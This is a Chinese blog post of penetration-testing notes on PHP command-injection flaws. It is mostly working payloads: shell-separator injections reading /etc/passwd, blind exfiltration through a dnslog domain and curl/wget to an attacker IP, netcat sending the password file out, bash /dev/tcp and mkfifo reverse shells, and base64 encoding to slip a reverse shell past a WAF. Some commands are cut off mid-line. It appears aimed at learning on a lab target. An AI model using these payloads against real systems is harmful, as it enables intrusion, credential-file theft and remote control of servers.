渗透测试 [命令执行漏洞]

在 PHP 中可以调用外部程序的常见函数:

system(args) 有回显

passthru(args)(有回显)

exec(args) (回显最后一行-必须 echo 输出)

shell_exec(args) (无回显-必须输出)

反引号:`` popen(handle,mode)(无回显)

proc_open('cmd','flag','flag')(无回显)

$process = proc_open('dir',$des,$pipes);

echo stream_get_contents($pipes[1]);

一.命令执行漏洞代码分析

二.渗透过程

1.;(分号)

"whoami" 是一个命令行工具,通常用于显示当前登录用户的用户名

 命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执 行失败时,不会中断其它命令的执行。

在靶机命令行执行的就是ping -c 1 127.0.0.1;whoami

2.| (管道符号)

通过管理符 可以将一个命令的标准输出管理为另外一个命令的标准输入,当它失败后,会执行另外一条命令

3.&(后台任务符号)

命令按照顺序(从左到右)被执行,跟分号作用一样;此符号作用是后台任务符 号使 shell 在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他 工作

ping -c 4 127.0.0.1&cat /etc/passwd&获取敏感文件

4.&&(逻辑与)

前后的命令的执行存在逻辑与关系,只有【&&】前面的命令执行成功后,它后 面的命令才被执行 ping -c 4 127.0.0.1&&whoami

5.||(逻辑或)

前后命令的执行存在逻辑或关系,只有【||】前面的命令执行失败后,它后面的 命令才被执行; ping -c ||whoami

6.`(反引号)

当一个命令被解析时,它首先会执行反引号之间的操作。例如执行 echo `ls -a` 将 会首先执行 ls 并捕获其输出信息。然后再将它传递给 echo,并将 ls 的输出结果 打印在屏幕上,这被称为命令替换

7.$(command) 命令替换

这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。 ping -c 4|echo $(whoami)

三.命令执行(无回显)

1.利用DNSLog Platform

dnslog 是一个显示解析记录的平台,在无回显的情况下,通过访问 dnslog,dnslog 会把你访问的子域名的头文件记录下来。

使用反引号`whoami`得到的用户名再,子域名,再使用 icmp 协议访问ping域名

127.0.0.1|ping `whoami`.68dtk4.dnslog.cn

 输入命令

如果存在漏洞得情况下 getsubdomin 就会得到回显

2.利用burp suite

我burp suite没这功能

3.利用日志测试无回显

使用curl 或 wget命令访问linux搭建的小型服务器

||curl http://192.168.116.132/?`whoami`    这个没成功
||wget http://192.168.116.132/?`whoami`    这个成功了

四.

远程服务器监听命令

执行命令

127.0.0.1|nc 192.168.116.132 9999 </etc/passwd

 会在查看远程服务器生成 passwd 文件 

 

四.命令执行漏洞 nc 反弹 shell

反弹 shell 因为是从受害者,反向连接远程服务器,请求是从内部到外部,所以 防火墙是不会进行拦截。

 1.远程服务器 nc 监听命令

||/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.124/8080 0>&1'

 还有这个代码

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.124 8080 >/t

如果有 waf 进行连接,可以把语句进行 base64 加密后,因为加密后的字符串没 有触发拦截规则,再利用 shell 命令再进行解码。 bash -i >& /dev/tcp/192.168.0.103/8080 0>&1 base64 编码后 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzgwODAgMD4mMQ

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTMzLzgwODAgMD4mM Q=="|base64 -d|bas

  • 15
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值